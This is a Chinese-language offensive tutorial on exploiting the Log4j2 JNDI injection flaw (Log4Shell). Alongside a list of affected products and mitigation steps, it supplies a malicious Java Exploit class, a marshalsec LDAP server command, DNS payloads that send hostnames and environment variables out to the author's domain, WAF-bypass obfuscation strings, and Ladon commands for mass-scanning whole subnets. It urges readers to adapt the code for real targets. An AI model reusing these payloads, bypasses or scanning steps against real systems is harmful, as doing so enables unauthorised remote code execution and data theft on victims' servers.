漏洞簡介
Apache Log4j2是一款優秀的Java日誌框架。近日，漏洞銀行安全團隊注意到了Apache Log4j2遠程代碼執行漏洞。由於Apache Log4j2某些功能存在遞歸解析功能，攻擊者可直接構造惡意請求，觸發遠程代碼執行漏洞。
漏洞原理
Apache Log4j2 中存在JNDI注入漏洞，當程序將用戶輸入的數據進行日誌記錄時，即可觸發此漏洞，成功利用此漏洞可以在目標伺服器上執行任意代碼。
影響版本
Apache Log4j 2.0 <= 2.15.0-rc1
影響產品
Apache Struts Apache Struts 2 Apache Solr Apache Druid Apache Flink Apache Spark Apache Tomcat ElasticSearch Flume Apache Dubbo Logstash Kafka Spring-Boot-starter-log4j2RedHat Not all RedHat packages are vulnerable, but some of the Openshift and JBoss packages are affected. https://access.redhat.com/security/cve/cve-2021-4
Jenkins Although Jenkins Core is not affected by default, plug-ins installed in Jenkins can use the vulnerable version of Log4J. There is also a method to verify if any of the plug-ins installed uses Log4j. The second link contains a list of the vulnerable versions of the plug-in that have been found as of this writing.
https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/
https://issues.jenkins.io/browse/JENKINS-67353?focusedCommentId=416946&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel
Apache Solr Apache Solr releases prior to 7.4 are affected. https://solr.apache.org/security.html
VMWare Multiple products are affected. https://www.vmware.com/security/advisories/VMSA-2021-0028.html
Citrix Investigation pending https://support.citrix.com/article/CTX335705
Atlassian Atlassian is vulnerable if the default configuration was modified. https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html
NetApp Multiple NetApp products are vulnerable. https://security.netapp.com/advisory/ntap-20211210-0007/PS: 除了本文列的這些產品，還有很多產品受到影響，具體可Google搜漏洞編號加產品名稱，若是官方公告註明哪些版本修復漏洞或哪些版本測試存在漏洞，就代表該產品受到影響，不用你一個個搭環境測試，先不說搭各種環境費時間，就算搭好了觸發點在哪，你也得測好長時間，所以要善用搜尋引擎。
漏洞環境1
使用IDEA新建項目，漏洞示例代碼如下
import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) { //logger.error("${jndi:ldap://192.168.250.83:800/calc}"); logger.error("${jndi:rmi://192.168.250.83:800/calc}"); }}
漏洞復現1
啟用Ladon的web監聽，編譯執行Poc項目，可看到Ladon回顯目標IP以及提交的數據，Ldap出現一些特殊符號，最明顯的是幾個笑臉，Rmi回顯前幾個字符串為JRMI，回顯以下特徵說明目標存在jdni注入漏洞。
其實也不是非要jndi來遠程測試漏洞，log4j也支持java獲取信息環境變量等，本地APP需要測試還好，實戰是盲測，不像本地可以後臺看，實戰你只能外帶，所以才用到jndi協議，有些人問為什麼不用其它協議，因為受漏洞限制只能jndi協議，利用你就得看jndi支持什麼協議，你才能利用什麼協議。如以下代碼，編譯項目執行，會輸出版本和作業系統信息。
logger.error("${java:version}/${java:os}");也可使用以下協議探測
${jndi:ldap:/} ${jndi:ldaps:/} ${jndi:rmi:/} ${jndi:dns:/} ${jndi:iiop:/}
漏洞環境2
使用docker搭建環境，這樣可模擬從內網另一臺機來攻擊該機器
docker pull vulfocus/log4j2-rce-2021-12-09:latest啟動環境2
docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest漏洞復現2
由於不知道漏洞觸發點，使用LadonExp.exe盲測，發現注入點為Accept參數,測試方法所有參數均填寫payload，目標URL填寫需要測試的站點，點擊Build_Exe，然後點擊Test_exe測試即可。
改成rmi協議時，發現無法觸發，於是看了下環境的JDK版本，發現是292的，JDK1.8 191起默認不支持RMI協議，所以用rmi測試失敗。
root@4e4424eccb8d:/demo# java -versionopenjdk version "1.8.0_292"OpenJDK Runtime Environment (build 1.8.0_292-8u292-b10-0ubuntu1~18.04-b10)OpenJDK 64-Bit Server VM (build 25.292-b10, mixed mode)以下協議自行測試
${date:ldap:${java:ldap:${marker:ldap:${ctx:ldap:${lower:ldap:${upper:ldap:${jndi:ldap:${jndi:rmi:${main:ldap:${jvmrunargs:ldap:${sys:ldap:${env:ldap:${log4j:ldap:批量檢測C段
將LadonExp生成的exe改名為log4poc.exe，使用以下命令即可批量檢測C段站點是否存在log4j的jndi注入漏洞。
Ladon 192.168.1.1/c log4poc.exe批量檢測url.txt
提供你已找好使用JAVA開發的站點URL，存放於url.txt，使用以下命令檢測
Ladon url.txt log4poc.exePS: 有人說Ladon為什麼不提供log4j漏洞檢測，實際上早提供了，之前我不是發過好幾篇使用LadonExp一鍵生成漏洞Poc的演示文章嗎？不需要懂編程，只要懂漏洞原理，抓別人的包，填寫對應參數，就可快速實戰批量使用新的POC，這技能你們都不學，錯過了最佳時期別怪我啊...
Exploit
使用JAVA編譯exp.java生成我們的反序列化類Exploit.class，放在Ladon目錄下，使用Ladon web 800一鍵開啟滲透專用迷你web伺服器。演示代碼為彈出計算器，實戰自行修改代碼實現任意功能，不只是執行CMD。要知道所謂CMD命令也是由各程式語言的代碼編譯成EXE後才是你所使用的命令，代碼執行可做CMD做不了的很多事，這是代碼執行和命令執行的最大區別。本漏洞主要是受限於觸發的jndi協議限制，不能本地內部執行代碼或命令，需遠程加載，實際上也能執行些簡短代碼的,如漏洞環境1
//javac exp.java
class Exploit {
static {
System.err.println("k8gege");
try {
String test= "calc";
Runtime.getRuntime().exec(test);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
啟動Ladp伺服器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.250.83:800/#Exploit"將漏洞復現1的POC代碼修改，指向我們的ldap伺服器，編譯執行彈出calc
Payload
${jndi:ldap://${hostName}.log4shell.k8gege.org}${jndi:rmi://${hostName}.log4shell.k8gege.org}
Ladon監聽${jndi:ldap://192.168.1.8:800/test}${jndi:rmi://192.168.1.8:800/test}
DNS協議:${jndi:dns://${hostName}.log4shell.k8gege.org}${jndi:dns://${env:COMPUTERNAME}.log4shell.k8gege.org}${jndi:dns://${env:USERDOMAIN}.log4shell.k8gege.org}
WAF攔截規則
應急時可能WAF使用以下特徵攔截，很明顯治標不治本，只能暫時緩解
${date:ldap:${java:ldap:${marker:ldap:${ctx:ldap:${lower:ldap:${upper:ldap:${jndi:ldap:${jndi:rmi:${main:ldap:${jvmrunargs:ldap:${sys:ldap:${env:ldap:${log4j:ldap:
Bypass RC1
${jndi:ldap://127.0.0.1:1389/ badClassName}
Bypass WAF${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://k123.k123.k123/poc}${${::-j}ndi:rmi://k123.k123.k123/ass}${jndi:rmi://k8.k123.k123}${${lower:jndi}:${lower:rmi}://k8.k123.k123/poc}${${lower:${lower:jndi}}:${lower:rmi}://k8.k123.k123/poc}${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://k8.k123.k123/poc}該漏洞利用條件
Log4j2版本Log4j 2.0 <= 2.15.0-rc1，並非有調用log4j就有洞
JDK版本限制，jdk8u191之後RMI和LDAP默認不能從遠程加載類
可能產生日誌記錄的地方，用戶登陸日誌記錄啊，UserAgent、Cookie等，誰知道網站開發者想記錄用戶什麼數據？不確定的情況下，盲測但凡有參數的地方，我們都可以嘗試，或許有驚喜。
目標允許出網，不能出網，存在洞你也不知道，除非你已進入內網，通過Ladon在內網監聽，測試內網站點是否存在jndi漏洞。假設機器只允許dns出網，使用Dnslog探測存在漏洞，TCP協議出不了，ldap、rmi等無法加載class，你也拿不了shell啊，存在洞和能拿權限是兩回事。
PS: 該漏洞說大影響大嘛也是真的非常大，但說它雞肋也雞肋，因為我的目標就沒一個成功的，或許存在洞的機器早已通過其它洞拿下，
有些人問為什麼不用dnslog？
你喜歡用dnslog的話也可以，沒什麼問題，只是這幾天這洞玩的人太多，dnslog經常卡死，無法使用，這是第一個原因。其次使用dnslog，意味著我們的目標或者說正在測試只有內部人知道公司某些伺服器使用log4j，若是別人也隨機到和你相同的域名，你們公司存在漏洞的站點IP洩露出去，會是什麼後果？使用自己的VPS來搭建的接收器才是最安全的，當然ldap或rmi協議出不來的話，就只能用dnslog來接收dns協議，因為Ladon無法監聽DNS協議，當然要是你要時間也可以完全自己搭個DNS伺服器還接收。
為什麼Ladon能監聽LDAP、RMI？
為什麼ldap、rmi、http等協議Ladon可以監聽到，因為它們本身就是特殊的tcp協議，所以Ladon當然能捕獲到。初中有沒學過正方形是特殊的長方形，就是說你把正方形說成長方形也沒錯，Ladon雖然主要只是解析HTTP協議，但也沒完全對其它協議進行丟棄，只要對前面部份數據16進位原樣解析還是會看到一些明顯的字眼如JRMI協議，所以Ladon對於一些非HTTP協議也可以從控制臺看出來，同理以後其它無回顯漏洞也可以使用Ladon監聽，之前我也發過3篇文章，Linux無回顯滲透、Java無回顯滲透、PowerShell等，大家一定要學會舉一反三，不要非要等別人告訴你，你才知道在這種場景也能用。
漏洞修復
方案一
更新至官方修復版本
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
方案二
①在jvm啟動參數中添加
Dlog4j2.formatMsgNoLookups=true
②系統環境變量中配置FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true
③項目中創建log4j2.component.properties文件，文件中增加配置log4j2.formatMsgNoLookups=trueLog4j-JAVA
系統信息ID usage method1 ${java:version} getSystemProperty("java.version")2 ${java:runtime} getRuntime()3 ${java:vm} getVirtualMachine()4 ${java:os} getOperatingSystem()5 ${java:hw} getHardware()6 ${java:locale} getLocale()
環境變量id usage1 ${env:A8_HOME}2 ${env:A8_ROOT_BIN}3 ${env:ALLUSERSPROFILE}4 ${env:APPDATA}5 ${env:CATALINA_BASE}6 ${env:CATALINA_HOME}7 ${env:CATALINA_OPTS}8 ${env:CATALINA_TMPDIR}9 ${env:CLASSPATH}10 ${env:CLIENTNAME}11 ${env:COMPUTERNAME}12 ${env:ComSpec}13 ${env:CommonProgramFiles}14 ${env:CommonProgramFiles(x86)}15 ${env:CommonProgramW6432}16 ${env:FP_NO_HOST_CHECK}17 ${env:HOMEDRIVE}18 ${env:HOMEPATH}19 ${env:JRE_HOME}20 ${env:Java_Home}21 ${env:LOCALAPPDATA}22 ${env:LOGONSERVER}23 ${env:NUMBER_OF_PROCESSORS}24 ${env:OS}25 ${env:PATHEXT}26 ${env:PROCESSOR_ARCHITECTURE}27 ${env:PROCESSOR_IDENTIFIER}28 ${env:PROCESSOR_LEVEL}29 ${env:PROCESSOR_REVISION}30 ${env:PROMPT}31 ${env:PSModulePath}32 ${env:PUBLIC}33 ${env:Path}34 ${env:ProgramData}35 ${env:ProgramFiles}36 ${env:ProgramFiles(x86)}37 ${env:ProgramW6432}38 ${env:SESSIONNAME}39 ${env:SystemDrive}40 ${env:SystemRoot}41 ${env:TEMP}42 ${env:TMP}43 ${env:ThisExitCode}44 ${env:USERDOMAIN}45 ${env:USERNAME}46 ${env:USERPROFILE}47 ${env:WORK_PATH}48 ${env:windir}49 ${env:windows_tracing_flags}50 ${env:windows_tracing_logfile}相關文章
[原創]Ladon 9.1.1 & CobaltStrike插件發布
無回顯命令執行漏洞之Linux滲透方法
JAVA反序列化漏洞命令執行回顯方法